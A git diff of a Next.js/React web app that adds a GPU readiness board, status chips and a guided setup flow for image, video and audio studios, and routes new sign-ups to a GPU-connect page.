+ type Shown = Omit<CheckLine, "state"> & { state: CheckLine["state"] | "pending" };
+ const shown: Shown[] = STEPS.flatMap(({ step, waiting }): Shown[] => {
+ const l = lines.find((x) => x.step === step);
+ if (l) return [l];
+ if (!running || failed) return [];
+ return [{ step, state: "pending", text: waiting }];
+ });
+ const last = lines.at(-1);
+ return (
+ <div>
+ <ol aria-label="Setup checks" className="space-y-2">
+ {shown.map((l) => {
+ const state = l.state;
+ const Icon = state === "pending" ? Circle : state === "running" ? Loader2 : state === "done" ? CheckCircle2 : state === "warn" ? CircleAlert : CircleX;
+ return (
+ <li key={l.step} className="animate-fade-up flex items-start gap-2.5 text-[14px] motion-reduce:animate-none">
+ <Icon
+ aria-hidden
+ className={cn(
+ "mt-0.5 size-4 shrink-0",
+ state === "running" && "animate-spin text-muted-foreground motion-reduce:animate-none",
+ state === "pending" && "text-muted-foreground/50",
+ state === "done" && "text-success",
+ state === "warn" && "text-warning",
+ state === "fail" && "text-destructive",
+ )}
+ />
+ <span className="min-w-0 flex-1">
+ <span className={cn(state === "pending" && "text-muted-foreground")}>{l.text}</span>
+ <span className="sr-only"> ({state === "pending" ? "waiting" : WORD[state]})</span>
+ {l.detail && <span className="block text-[12px] text-muted-foreground">{l.detail}</span>}
+ </span>
+ </li>
+ );
+ })}
+ </ol>
+ <div aria-live="polite" className="sr-only">
+ {last && last.state !== "running" ? last.text : ""}
+ </div>
+ </div>
+ );
+}
diff --git a/src/components/gpu/readiness-board.tsx b/src/components/gpu/readiness-board.tsx
new file mode 100644
index 00000000..812d752c
--- /dev/null
+++ b/src/components/gpu/readiness-board.tsx
@@ -0,0 +1,210 @@
+"use client";
+
+import { CheckCircle2, ChevronRight, CircleAlert, Cpu, Download, Layers, Loader2, RefreshCw } from "lucide-react";
+import Link from "next/link";
+import { useEffect, useMemo, useState } from "react";
+import { Button } from "@/components/ui/button";
+import { openGpuSetup, type ReadinessView } from "@/hooks/use-gpu";
+import { useEngine } from "@/lib/api";
+import { rankOf, stateLine } from "@/lib/gpu/readiness";
+import { formatBytes } from "@/lib/gpu/requirements";
+import type { Readiness, StudioGroup, StudioRow } from "@/lib/gpu/types";
+import { cn } from "@/lib/utils";
+
+/**
+ * The readiness board (UX §5): what the viewer has installed and downloaded, and every studio's state on their GPU,
+ * grouped. Each row has one button: Open, Get, Set up, or Details / Use cloud. Get and Set up open the guided fix
+ * with that studio's plan; nothing is ever set up from here without the plan being shown first.
+ */
+
+type Filter = "all" | "ready" | "almost" | "setup" | "gpu";
+const GROUPS: StudioGroup[] = ["Images", "Video", "Audio", "Video tools"];
+
+function ago(at: number, now: number): string {
+ const s = Math.max(0, Math.round((now - at) / 1000));
+ if (s < 60) return `${s} s ago`;
+ const m = Math.round(s / 60);
+ if (m < 60) return `${m} min ago`;
+ const h = Math.round(m / 60);
+ return h < 48 ? `${h} h ago` : `${Math.round(h / 24)} days ago`;
+}
+
+function StateIcon({ state }: { state: Readiness }) {
+ const Icon = state === "ready" ? CheckCircle2 : state === "gpu" ? Cpu : state === "unsupported" ? Layers : state === "unknown" ? CircleAlert : Download;
+ return (
+ <span
+ aria-hidden
+ className={cn(
+ "grid size-7 shrink-0 place-items-center rounded-full",
+ state === "ready" ? "bg-success/15 text-success" : state === "almost" || state === "setup" ? "bg-highlight text-highlight-foreground" : "bg-muted text-muted-foreground",
+ )}
+ >
+ <Icon className="size-3.5" />
+ </span>
+ );
+}
+
+const STATE_WORD: Record<Readiness, string> = { ready: "Ready", almost: "One step away", setup: "Needs setup", gpu: "Needs a bigger GPU", unsupported: "Not on your GPU yet", unknown: "Not checked" };
+
+function Row({ row, owner }: { row: StudioRow; owner: boolean }) {
+ const [, setEngine] = useEngine();
+ const t = row.tool;
+ const open = () => openGpuSetup({ ref: `studio:${row.href}`, name: t.name });
+ const btn = "h-11 w-full sm:h-8 sm:w-auto";
+ let action: React.ReactNode = null;
+ if (t.state === "ready")
+ action = (
+ <Button asChild size="sm" variant="secondary" className={btn}>
+ <Link href={row.href}>Open</Link>
+ </Button>
+ );
+ else if (t.state === "almost" || t.state === "setup")
+ action = (
+ <Button size="sm" className={btn} onClick={open}>
+ {t.state === "almost" && t.needs.every((n) => n.kind === "model" || n.kind === "lora" || n.kind === "hf-licence") ? "Get" : "Set up"}
+ </Button>
+ );
+ else if (t.state === "gpu" && owner && t.cloud)
+ action = (
+ <Button asChild size="sm" variant="secondary" className={btn}>
+ <Link href={row.href} onClick={() => setEngine("cloud")}>
+ Use cloud
+ </Link>
+ </Button>
+ );
+ else if (t.state === "gpu" || t.state === "unsupported")
+ action = (
+ <Button size="sm" variant="ghost" className={btn} onClick={open}>
+ Details
+ </Button>
+ );
+ return (
+ <li className="flex flex-col gap-2 py-3 sm:flex-row sm:items-center sm:gap-3">
+ <div className="flex min-w-0 flex-1 items-start gap-3">
+ <StateIcon state={t.state} />
+ <div className="min-w-0 flex-1">
+ <p className="flex flex-wrap items-baseline gap-x-2 text-[14px]">
+ <span className="font-medium">{row.label}</span>
+ <span className="truncate text-muted-foreground">{t.name}</span>
+ </p>
+ <p className="text-[12px] text-muted-foreground">
+ <span className="sr-only">{STATE_WORD[t.state]}: </span>
+ {stateLine(t)}
+ {(t.state === "almost" || t.state === "setup") && t.downloadBytes > 0 ? ` · about ${Math.max(1, Math.ceil(t.downloadBytes / 100e6 / 60))}–${Math.max(1, Math.ceil(t.downloadBytes / 25e6 / 60))} min` : ""}
+ </p>
+ {row.others.length > 0 && t.state !== "ready" && (
+ <p className="mt-0.5 flex items-center gap-1 text-[12px] text-muted-foreground">
+ <ChevronRight aria-hidden className="size-3" />
+ {row.others.length === 1 ? "1 other tool fits your GPU" : `${row.others.length} other tools fit your GPU`}: {row.others.map((o) => `${o.name} (${o.state === "ready" ? "Ready" : "one step"})`).join(", ")}
+ </p>
+ )}
+ </div>
+ </div>
+ {action && <div className="sm:shrink-0">{action}</div>}
+ </li>
+ );
+}
+
+export function ReadinessBoard({ view, owner, onCheck, checking }: { view: ReadinessView; owner: boolean; onCheck: () => void; checking: boolean }) {
+ const report = view.report!;
+ const [filter, setFilter] = useState<Filter>("all");
+ const [now, setNow] = useState(() => Date.now());
+ useEffect(() => {
+ const t = setInterval(() => setNow(Date.now()), 15_000);
+ return () => clearInterval(t);
+ }, []);
+ const rows = report.studios;
+ const count = (s: Readiness) => rows.filter((r) => r.tool.state === s).length;
+ const ready = count("ready");
+ const almost = count("almost");
+ const setup = count("setup");
+ const gpu = count("gpu") + count("unsupported");
+ const s = report.summary;
+ const gpuName = s.gpu ? `${s.gpu.replace(/^NVIDIA\s+(GeForce\s+)?/i, "")}${s.vramGb ? ` (${s.vramGb} GB)` : ""}` : "ComfyUI";
+ const headline = ready ? `Your ${gpuName} is ready for ${ready} of ${rows.length} studios` : `Your ${gpuName} is connected`;
+ const sub = [
+ almost && `${almost} more ${almost === 1 ? "needs" : "need"} one step.`,
+ setup && `${setup} ${setup === 1 ? "needs" : "need"} a few things set up.`,
+ gpu && `${gpu} ${gpu === 1 ? "needs" : "need"} a bigger graphics card${owner ? ", and can run in the cloud" : ""}.`,
+ ]
+ .filter(Boolean)
+ .join(" ");
+ const summary = [
+ s.comfyVersion && `ComfyUI ${s.comfyVersion}`,
+ s.manager,
+ `${s.packs.have} of ${s.packs.of} add-ons`,
+ `${s.files.have} of ${s.files.of} model files${s.files.bytes ? ` (${formatBytes(s.files.bytes)})` : ""}`,
+ ]
+ .filter(Boolean)
+ .join(" · ");
+ const shown = useMemo(() => (filter === "all" ? rows : rows.filter((r) => (filter === "gpu" ? r.tool.state === "gpu" || r.tool.state === "unsupported" : r.tool.state === filter))), [rows, filter]);
+ const chips: { id: Filter; label: string; n: number }[] = [
+ { id: "all", label: "All", n: rows.length },
+ { id: "ready", label: "Ready", n: ready },
+ { id: "almost", label: "One step away", n: almost },
+ { id: "setup", label: "Needs setup", n: setup },
+ { id: "gpu", label: "Bigger GPU", n: gpu },
+ ];
+ return (
+ <section aria-labelledby="board-title" className="space-y-5">
+ <div className="flex flex-wrap items-start justify-between gap-3">
+ <div className="min-w-0 flex-1 basis-72">
+ <h2 id="board-title" className="font-heading text-[26px] leading-tight">
+ {headline}
+ </h2>
+ {sub && <p className="mt-1 text-[14px] text-muted-foreground">{sub}</p>}
+ <p className="mt-1 text-[12px] text-muted-foreground">{summary}</p>
+ </div>
+ <Button variant="ghost" size="sm" className="h-11 sm:h-8" onClick={onCheck} disabled={checking}>
+ {checking ? <Loader2 className="animate-spin" /> : <RefreshCw />} Check again{view.checkedAt ? ` (checked ${ago(view.checkedAt, now)})` : ""}
+ </Button>
+ </div>
+ {report.warnings.length > 0 && (
+ <ul className="space-y-1.5">
+ {report.warnings.map((w) => (
+ <li key={w} className="flex items-start gap-2 rounded-lg bg-brand-faint px-3 py-2 text-[13px]">
+ <CircleAlert aria-hidden className="mt-0.5 size-4 shrink-0 text-warning" />
+ {w}
+ </li>
+ ))}
+ </ul>
+ )}
+ <div className="fade-x -mx-1 flex gap-1.5 overflow-x-auto px-1 scrollbar-none" role="group" aria-label="Show">
+ {chips.map((c) => (
+ <button
+ key={c.id}
+ type="button"
+ aria-pressed={filter === c.id}
+ onClick={() => setFilter(c.id)}
+ className={cn(
+ "h-8 shrink-0 rounded-full border px-3 text-[13px] transition-colors",
+ filter === c.id ? "border-foreground bg-foreground text-background" : "bg-background text-muted-foreground hover:text-foreground",
+ )}
+ >
+ {c.label} {c.n}
+ </button>
+ ))}
+ </div>
+ {GROUPS.map((g) => {
+ const list = shown.filter((r) => r.group === g).sort((a, b) => rankOf(b.tool.state) - rankOf(a.tool.state));
+ if (!list.length) return null;
+ const n = (st: Readiness) => list.filter((r) => r.tool.state === st).length;
+ return (
+ <div key={g}>
+ <div className="flex items-baseline justify-between border-b pb-1.5">
+ <h3 className="text-[12px] font-semibold tracking-wide text-muted-foreground uppercase">{g}</h3>
+ <span className="text-[12px] text-muted-foreground">
+ {[n("ready") && `${n("ready")} ready`, n("almost") + n("setup") && `${n("almost") + n("setup")} to set up`, n("gpu") && `${n("gpu")} bigger GPU`].filter(Boolean).join(" · ")}
+ </span>
+ </div>
+ <ul className="divide-y">
+ {list.map((r) => (
+ <Row key={r.href} row={r} owner={owner} />
+ ))}
+ </ul>
+ </div>
+ );
+ })}
+ </section>
+ );
+}
diff --git a/src/components/gpu/readiness-chip.tsx b/src/components/gpu/readiness-chip.tsx
new file mode 100644
index 00000000..9d6cf64a
--- /dev/null
+++ b/src/components/gpu/readiness-chip.tsx
@@ -0,0 +1,89 @@
+"use client";
+
+import { CheckCircle2, Cpu, Download, Layers } from "lucide-react";
+import { badgeState, badgeText } from "@/hooks/use-gpu";
+import type { Badge } from "@/lib/gpu/types";
+import { cn } from "@/lib/utils";
+
+/**
+ * A tool's state on the viewer's GPU (UX §6): Ready · One step away · Needs setup · Needs a bigger GPU. Each state has
+ * its own icon, a word and a colour, never colour alone. Nothing at all when there's no badge (a guest, no check yet,
+ * an unknown state, a cloud-only studio). Three sizes: a card's corner (CSS-only tooltip: a gallery has hundreds),
+ * a header pill (a button when it opens the guided fix) and a model row's dot.
+ */
+
+/** A badge as one string, for memoized cards ("a,1,123,0"). */
+export const badgeKey = (b: Badge | null | undefined): string | undefined => (b ? b.join(",") : undefined);
+
+export function parseBadgeKey(k: string | undefined): Badge | null {
+ if (!k) return null;
+ const [s, steps, gb, flags] = k.split(",");
+ if (!["r", "a", "s", "g", "u"].includes(s)) return null;
+ return [s as Badge[0], Number(steps) || 0, Number(gb) || 0, Number(flags) || 0];
+}
+
+function look(b: Badge) {
+ const s = badgeState(b);
+ if (s === "ready") return { Icon: CheckCircle2, cls: "bg-black/45 text-white", icon: "text-success" };
+ if (s === "gpu") return { Icon: Cpu, cls: "bg-black/45 text-white/90", icon: "" };
+ if (s === "unsupported") return { Icon: Layers, cls: "bg-black/45 text-white/90", icon: "" };
+ return { Icon: Download, cls: "bg-highlight text-highlight-foreground", icon: "" };
+}
+
+/** The card's corner chip (PresetCard). */
+export function CardChip({ badge, gpu }: { badge: Badge; gpu?: string }) {
+ const { Icon, cls, icon } = look(badge);
+ const t = badgeText(badge, gpu);
+ const word = badge[0] === "g" ? `${t.short}` : t.short;
+ return (
+ <span role="img" aria-label={t.long} className={cn("group/gpu pointer-events-auto relative inline-flex h-5 items-center gap-1 rounded-full px-1.5 text-[10px] font-semibold", cls)}>
+ <Icon aria-hidden className={cn("size-3", icon)} />
+ {word}
+ <span
+ aria-hidden
+ className="pointer-events-none absolute top-full right-0 z-10 mt-1.5 rounded-md bg-tooltip px-2 py-1 text-[11px] font-normal whitespace-nowrap text-tooltip-foreground opacity-0 shadow-soft transition-opacity group-hover/gpu:opacity-100"
+ >
+ {t.long}
+ </span>
+ </span>
+ );
+}
+
+/** The header pill (StudioHeader, PresetHeader): a button when it opens the guided fix. */
+export function HeaderPill({ badge, gpu, onOpen, compact }: { badge: Badge; gpu?: string; onOpen?: () => void; compact?: boolean }) {
+ const s = badgeState(badge);
+ const t = badgeText(badge, gpu);
+ const tenths = badge[2];
+ const label =
+ s === "ready" ? (badge[3] & 4 ? "Runs on any computer" : "Ready on your GPU") : s === "gpu" ? "Needs a bigger GPU" : s === "unsupported" ? "Not on your GPU yet" : `Set up${tenths ? ` · ${tenths / 10} GB` : ""}`;
+ const Icon = s === "ready" ? CheckCircle2 : s === "gpu" ? Cpu : s === "unsupported" ? Layers : Download;
+ const cls = cn(
+ "inline-flex h-8 shrink-0 items-center gap-1.5 rounded-full px-2.5 text-[12px] font-medium",
+ s === "ready" ? "bg-secondary text-foreground" : s === "almost" || s === "setup" ? "bg-highlight text-highlight-foreground" : "bg-muted text-muted-foreground",
+ compact && "max-sm:w-8 max-sm:justify-center max-sm:px-0",
+ );
+ const inner = (
+ <>
+ <Icon aria-hidden className={cn("size-3.5", s === "ready" && "text-success")} />
+ <span className={cn(compact && "max-sm:sr-only")}>{label}</span>
+ </>
+ );
+ if (!onOpen || s === "ready") return <span role="status" aria-label={t.long} title={t.long} className={cls}>{inner}</span>;
+ return (
+ <button type="button" onClick={onOpen} aria-label={`${label}: ${t.long}`} title={t.long} className={cn(cls, "transition-opacity hover:opacity-90 focus-visible:ring-2 focus-visible:ring-ring focus-visible:outline-none")}>
+ {inner}
+ </button>
+ );
+}
+
+/** A model row's dot (the model picker). */
+export function RowDot({ badge, gpu }: { badge: Badge; gpu?: string }) {
+ const s = badgeState(badge);
+ const t = badgeText(badge, gpu);
+ const Icon = s === "ready" ? CheckCircle2 : s === "gpu" ? Cpu : s === "unsupported" ? Layers : Download;
+ return (
+ <span role="img" aria-label={t.long} title={t.long} className="inline-flex shrink-0 items-center">
+ <Icon aria-hidden className={cn("size-3", s === "ready" ? "text-success" : s === "almost" || s === "setup" ? "text-warning" : "text-muted-foreground")} />
+ </span>
+ );
+}
diff --git a/src/components/login-form.tsx b/src/components/login-form.tsx
index 11491383..73dcd50a 100644
--- a/src/components/login-form.tsx
+++ b/src/components/login-form.tsx
@@ -47,7 +47,12 @@ export function LoginForm() {
const res = await fetch(url, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(body) });
if (res.ok) {
// Only a page on this site: never bounce to another origin after signing in.
- window.location.assign(safeNext(params.get("next"), window.location.origin));
+ const after = safeNext(params.get("next"), window.location.origin);
+ // A new account connects its GPU first (the pre-flight board), then goes on to where it was headed.
+ const q = new URLSearchParams({ welcome: "1" });
+ if (after !== "/" && !after.startsWith("/connect")) q.set("next", after);
+ const dest = mode === "signup" ? new URL(`/connect?${q}`, window.location.origin).toString() : after;
+ window.location.assign(dest);
return;
}
setError(((await res.json().catch(() => ({}))) as { error?: string }).error ?? "Couldn't sign in");
diff --git a/src/components/preset-gallery.tsx b/src/components/preset-gallery.tsx
index e40423ff..1365d659 100644
--- a/src/components/preset-gallery.tsx
+++ b/src/components/preset-gallery.tsx
@@ -8,7 +8,9 @@ import { PRESET_ICONS } from "@/components/preset-icons";
import { PresetPreview, usePreviewPlayback } from "@/components/preset-preview";
import { GALLERY_GRID } from "@/components/skeletons";
import { useProgressive } from "@/components/use-progressive";
-import { useEngineMode } from "@/lib/api";
+import { CardChip, badgeKey, parseBadgeKey } from "@/components/gpu/readiness-chip";
+import { useGpuBadges } from "@/hooks/use-gpu";
+import { useEngineMode, useViewer } from "@/lib/api";
import { interleaveByCategory, previewFlip, searchText, type PresetCardData } from "@/lib/preset-cards";
import { cn } from "@/lib/utils";
@@ -34,13 +36,19 @@ export const PresetCard = memo(function PresetCard({
href,
compact,
engine,
+ gpu,
+ gpuName,
}: {
preset: PresetCardData;
href: string;
compact?: boolean;
/** Settings → Engine mode: with one engine locked in, the other's chip would suggest a route the user turned off. */
engine?: "cloud" | "open";
+ /** Its state on the viewer's GPU (a badge as one string, badgeKey), or none. */
+ gpu?: string;
+ gpuName?: string;
}) {
+ const badge = engine !== "cloud" ? parseBadgeKey(gpu) : null;
const Icon = PRESET_ICONS[preset.icon] ?? Sparkles;
const { ref, playing, handlers } = usePreviewPlayback<HTMLAnchorElement>(preset.id);
return (
@@ -64,6 +72,11 @@ export const PresetCard = memo(function PresetCard({
{preset.top && (
<span className="absolute top-1.5 left-1.5 rounded-[4px] bg-highlight px-1 text-[10px] font-semibold text-highlight-foreground">Popular</span>
)}
+ {badge && (
+ <span className="pointer-events-none absolute top-1.5 right-1.5">
+ <CardChip badge={badge} gpu={gpuName} />
+ </span>
+ )}
<CardPending />
</div>
<div className="min-w-0 px-0.5">
@@ -214,6 +227,10 @@ export function PresetGallery({
const strip = useFadeEdges<HTMLDivElement>();
const stale = q.trim().toLowerCase() !== query;
+ // One fetch of the viewer's chips (the GPU pre-flight); each card gets one string.
+ const badges = useGpuBadges().data;
+ const viewer = useViewer().data;
+ const visitor = !!viewer && viewer.publicSignup && !viewer.owner;
return (
<div className="space-y-4">
@@ -247,6 +264,14 @@ export function PresetGallery({
<RunsOnControl value={runsOn} onChange={setRunsOn} locked={locked} />
</div>
</div>
+ {visitor && badges && !badges.connected && !badges.off && (
+ <p className="text-[13px] text-muted-foreground">
+ <Link href="/connect" className="font-medium text-brand-text underline-offset-2 hover:underline">
+ Connect your GPU
+ </Link>{" "}
+ to see what runs on it.
+ </p>
+ )}
<div
ref={strip}
role="group"
@@ -276,7 +301,7 @@ export function PresetGallery({
<>
<div ref={grid} className={cn(GRID, "transition-opacity", stale && "opacity-70")}>
{list.slice(0, shown).map((p) => (
- <PresetCard key={p.id} preset={p} href={href.replace("{id}", p.id)} engine={locked} />
+ <PresetCard key={p.id} preset={p} href={href.replace("{id}", p.id)} engine={locked} gpu={p.open ? badgeKey(badges?.presets[p.id]) : undefined} gpuName={badges?.gpu} />
))}
</div>
{hasMore && (
diff --git a/src/components/preset-header.tsx b/src/components/preset-header.tsx
index 6332e5f0..477421a9 100644
--- a/src/components/preset-header.tsx
+++ b/src/components/preset-header.tsx
@@ -2,7 +2,10 @@
import { Cloud, Cpu, Info, X } from "lucide-react";
import { useSyncExternalStore } from "react";
+import { HeaderPill } from "@/components/gpu/readiness-chip";
import { PresetPreview, useSaveData } from "@/components/preset-preview";
+import { openGpuSetup, useGpuBadges } from "@/hooks/use-gpu";
+import { useEngine } from "@/lib/api";
import { Popover, PopoverContent, PopoverTrigger } from "@/components/ui/popover";
import type { Preset } from "@/lib/catalog/types";
// The covers manifest comes with toPresetCard: this component is loaded on its own (next/dynamic in studio-page.tsx).
@@ -50,6 +53,10 @@ export function PresetHeader({
// Not with Save-Data or on 2G either: a clip cover would download as soon as the studio opens.
const saveData = useSaveData();
const routes = presetRouteLines(preset, modelName);
+ // Its state on the viewer's GPU (open engine only): a pill that opens the guided fix.
+ const badges = useGpuBadges().data;
+ const [engine] = useEngine();
+ const gpu = preset.open && engine === "open" ? (badges?.presets[preset.id] ?? null) : null;
return (
<div className={cn("mx-auto flex w-full max-w-[760px] items-center gap-3 rounded-2xl border bg-background p-2 pr-3 text-left shadow-soft", className)}>
<div className="relative aspect-[4/3] w-24 shrink-0 overflow-hidden rounded-xl bg-muted sm:w-32">
@@ -59,6 +66,7 @@ export function PresetHeader({
<p className="truncate font-heading text-[19px] leading-snug">{preset.name}</p>
<p className="line-clamp-2 text-[13px] text-muted-foreground">{presetHowTo(preset)}</p>
</div>
+ {gpu && <HeaderPill badge={gpu} gpu={badges?.gpu} compact onOpen={() => openGpuSetup({ ref: `preset:${preset.id}`, name: preset.name })} />}
<Popover>
<PopoverTrigger asChild>
<button
diff --git a/src/components/studio/composer.tsx b/src/components/studio/composer.tsx
index 05b71587..7bcf3e5c 100644
--- a/src/components/studio/composer.tsx
+++ b/src/components/studio/composer.tsx
@@ -65,6 +65,7 @@ import {
} from "@/lib/composer";
import { formatCost } from "@/lib/format";
import { cn } from "@/lib/utils";
+import { badgeFor, badgeText, openGpuSetup, setGpuRetry, useGpuBadges } from "@/hooks/use-gpu";
import { AttachMenu } from "./attach-menu";
import { useAttach, useComposerBridge, useUploadReaper } from "./attachments";
import { DialogueEditor, LanguageChip, VoicePicker } from "./audio-controls";
@@ -462,7 +463,28 @@ export function Composer({ docked }: { docked: boolean }) {
promptMissing,
});
- const submit = () => {
+ // GPU pre-flight: the picked open tool's state on the viewer's GPU. Not ready (something to set up, or a bigger
+ // GPU): Generate opens the guided fix instead of sending a run that would fail late, and the prompt stays here.
+ const gpuBadges = useGpuBadges().data;
+ const gpuOp = op ?? studioOp;
+ const gpuBadge =
+ model?.engine === "open" && gpuBadges?.connected
+ ? ((preset?.open ? gpuBadges.presets[preset.id] : undefined) ?? badgeFor(gpuBadges, { modelId: model.id, op: gpuOp }))
+ : null;
+ const gpuSetup = gpuBadge && gpuBadge[0] !== "r" ? gpuBadge : null;
+ const gpuRef = preset?.open && gpuBadges?.presets[preset.id] ? `preset:${preset.id}` : model ? `model:${model.id}#${gpuOp ?? Object.keys(gpuBadges?.models ?? {}).find((k) => k.startsWith(`${model.id}#`))?.split("#")[1] ?? ""}` : "";
+ const openGpuFix = () => {
+ setGpuRetry(
+ () => submitRef.current(),
+ () => submitRef.current(true),
+ );
+ openGpuSetup({ ref: gpuRef, name: preset?.open ? preset.name : model?.name });
+ };
+
+ // `skip` is true only from the guided fix's "Run anyway" (a click handler passes its event here).
+ const submit = (skip?: unknown) => {
+ const skipGpu = skip === true;
+ if (!blocker && gpuSetup && !skipGpu && !create.isPending) return openGpuFix();
if (blocker || create.isPending || signature.lock.isPending) {
if (blocker) {
// One blocker toast at a time (pressing Generate again replaces it), gone once a run starts.
@@ -482,8 +504,14 @@ export function Composer({ docked }: { docked: boolean }) {
const sent = signature.apply(buildRequest(config.feature, draft, resolvesOnServer ? studioOp : op, config.promptSuffix, config.multiRef?.kind, framesCtx, targetFor(draft.modelId)));
// Open palette lock: the images are recoloured to the palette by a chained step (POST /api/palettes/lock).
if (sent.lock) return signature.lock.mutate({ request: sent.request, colors: sent.lock.colors }, { onError: (e) => toast.error((e as Error).message) });
- create.mutate(sent.request, {
- onError: (e) => toast.error((e as Error).message),
+ // If the server's pre-flight stops it (409 gpu-setup), the guided fix that opens can try again, or run it anyway.
+ setGpuRetry(
+ () => submitRef.current(),
+ () => submitRef.current(true),
+ );
+ create.mutate(skipGpu ? ({ ...sent.request, gpuCheck: "skip" } as typeof sent.request) : sent.request, {
+ // Stopped by the GPU pre-flight: the guided fix is open already, so no error toast on top.
+ onError: (e) => void ((e as { gpuSetup?: boolean }).gpuSetup || toast.error((e as Error).message)),
});
};
@@ -1067,6 +1095,18 @@ export function Composer({ docked }: { docked: boolean }) {
)}
</p>
)}
+ {!blocker && gpuSetup && (
+ <p className="px-2 text-[12px] text-muted-foreground">
+ <button
+ type="button"
+ onMouseDown={(e) => e.preventDefault()}
+ onClick={openGpuFix}
+ className="inline-flex min-h-6 items-center text-left underline decoration-border-strong underline-offset-2 hover:text-foreground hover:decoration-current"
+ >
+ {badgeText(gpuSetup, gpuBadges?.gpu).long}
+ </button>
+ </p>
+ )}
</div>
{outcome && (
<p className="px-2 pt-1 text-[12px] text-muted-foreground tabular-nums" aria-live="polite">
diff --git a/src/components/studio/feed.tsx b/src/components/studio/feed.tsx
index 0bc9d292..7b61570c 100644
--- a/src/components/studio/feed.tsx
+++ b/src/components/studio/feed.tsx
@@ -1,6 +1,7 @@
"use client";
-import { Cloud, Copy, Cpu, Download, FolderDown, Heart, MoreHorizontal, RotateCcw, Sparkles, Trash2, X } from "lucide-react";
+import { Cloud, Copy, Cpu, Download, FolderDown, Heart, MoreHorizontal, RotateCcw, Sparkles, Trash2, Wrench, X } from "lucide-react";
+import { openGpuSetup } from "@/hooks/use-gpu";
import Link from "next/link";
import { createContext, memo, useCallback, useContext, useEffect, useMemo, useRef, useState } from "react";
import { toast } from "sonner";
@@ -95,15 +96,29 @@ export function FailedTile({ g, ratio, onRetry }: { g: Generation; ratio: number
<p className="text-[13px] font-medium">{g.status === "canceled" ? "Canceled" : "Couldn't generate this one"}</p>
{g.error && <p className="line-clamp-5 text-[12px] leading-snug break-words whitespace-pre-line text-muted-foreground">{g.error}</p>}
</div>
- <button
- onClick={(e) => {
- e.stopPropagation();
- onRetry();
- }}
- className="mt-2 inline-flex h-7 w-fit items-center gap-1.5 rounded-full bg-secondary px-2.5 text-[12px] font-medium hover:bg-accent"
- >
- <RotateCcw className="size-3" /> Retry
- </button>
+ <div className="mt-2 flex flex-wrap gap-1.5">
+ {g.status === "failed" && g.fix && (
+ // Something was missing on the GPU: the guided fix shows what, and how to add it.
+ <button
+ onClick={(e) => {
+ e.stopPropagation();
+ openGpuSetup({ ref: g.presetId ? `preset:${g.presetId}` : `model:${g.modelId}#${g.op}`, name: g.presetName ?? g.modelName });
+ }}
+ className="inline-flex h-7 w-fit items-center gap-1.5 rounded-full bg-highlight px-2.5 text-[12px] font-medium text-highlight-foreground hover:opacity-90"
+ >
+ <Wrench className="size-3" /> Fix it
+ </button>
+ )}
+ <button
+ onClick={(e) => {
+ e.stopPropagation();
+ onRetry();
+ }}
+ className="inline-flex h-7 w-fit items-center gap-1.5 rounded-full bg-secondary px-2.5 text-[12px] font-medium hover:bg-accent"
+ >
+ <RotateCcw className="size-3" /> Retry
+ </button>
+ </div>
</div>
);
}
diff --git a/src/components/studio/model-picker.tsx b/src/components/studio/model-picker.tsx
index 749e1c55..9c90977a 100644
--- a/src/components/studio/model-picker.tsx
+++ b/src/components/studio/model-picker.tsx
@@ -6,7 +6,10 @@ import { useMemo, useState } from "react";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Command, CommandGroup, CommandInput, CommandItem, CommandList } from "@/components/ui/command";
+import { RowDot } from "@/components/gpu/readiness-chip";
+import { badgeFor, useGpuBadges } from "@/hooks/use-gpu";
import { useIsMobile } from "@/hooks/use-mobile";
+import type { Badge as BadgeT } from "@/lib/gpu/types";
import { type Engine, type ModelDef } from "@/lib/catalog/types";
import { useEngineMode, useStatus } from "@/lib/api";
import { bestForStudio, groupModels, toggleIn } from "@/lib/composer";
@@ -81,12 +84,17 @@ function ModelRow({
starred,
showEngine,
onStar,
+ gpu,
+ gpuName,
}: {
m: ModelDef;
selected: boolean;
starred: boolean;
showEngine: boolean;
onStar: () => void;
+ /** Its state on the viewer's GPU (the GPU pre-flight). */
+ gpu?: BadgeT | null;
+ gpuName?: string;
}) {
return (
<>
@@ -98,6 +106,7 @@ function ModelRow({
{starred && <span className="sr-only">, starred</span>}
</span>
<ModelBadges model={m} max={2} />
+ {gpu && <RowDot badge={gpu} gpu={gpuName} />}
{showEngine && (
<span className="inline-flex shrink-0 items-center gap-0.5 rounded-[4px] bg-muted px-1 text-[10px] leading-4 font-medium text-muted-foreground">
{m.engine === "open" ? <Cpu className="size-2.5!" /> : <Cloud className="size-2.5!" />}
@@ -180,6 +189,7 @@ export function ModelPicker(props: PickerProps) {
function PickerList({ models, value, onChange, engine, onEngineChange, defaultModels, onPicked }: PickerProps & { onPicked: () => void }) {
const [q, setQ] = useState("");
const status = useStatus().data;
+ const badges = useGpuBadges().data;
const mode = useEngineMode();
const mobile = useIsMobile();
const [recent] = useStoredList(RECENT_MODELS);
@@ -239,7 +249,15 @@ function PickerList({ models, value, onChange, engine, onEngineChange, defaultMo
data-checked={value?.id === m.id}
className={cn("gap-2.5 rounded-lg px-2 py-1.5 [&>svg:last-child]:hidden", value?.id === m.id && "bg-brand-faint data-selected:bg-brand-faint-hover")}
>
- <ModelRow m={m} selected={value?.id === m.id} starred={starred.includes(m.id)} showEngine={!!q || m.engine !== engine} onStar={() => setStarred((s) => toggleIn(s, m.id))} />
+ <ModelRow
+ m={m}
+ selected={value?.id === m.id}
+ starred={starred.includes(m.id)}
+ showEngine={!!q || m.engine !== engine}
+ onStar={() => setStarred((s) => toggleIn(s, m.id))}
+ gpu={m.engine === "open" ? badgeFor(badges, { modelId: m.id }) : null}
+ gpuName={badges?.gpu}
+ />
</CommandItem>
))}
</CommandGroup>
diff --git a/src/components/studio/studio-page.tsx b/src/components/studio/studio-page.tsx
index 81909caf..a54a3ee7 100644
--- a/src/components/studio/studio-page.tsx
+++ b/src/components/studio/studio-page.tsx
@@ -8,6 +8,8 @@ import { Suspense, useCallback, useEffect, useLayoutEffect, useMemo, useRef, use
import { nanoid } from "nanoid";
import { toast } from "sonner";
import { SidebarTrigger } from "@/components/ui/sidebar";
+import { HeaderPill } from "@/components/gpu/readiness-chip";
+import { badgeFor, openGpuSetup, useGpuBadges } from "@/hooks/use-gpu";
import type { Generation, MediaKind, ModelDef, Preset } from "@/lib/catalog/types";
import { useEngine, useGenerations } from "@/lib/api";
import { claimStartToken, followEngineDefault, handoffKey, mergeHandoff, presetModel, promptShown, START_PARAM, withoutStart } from "@/lib/composer";
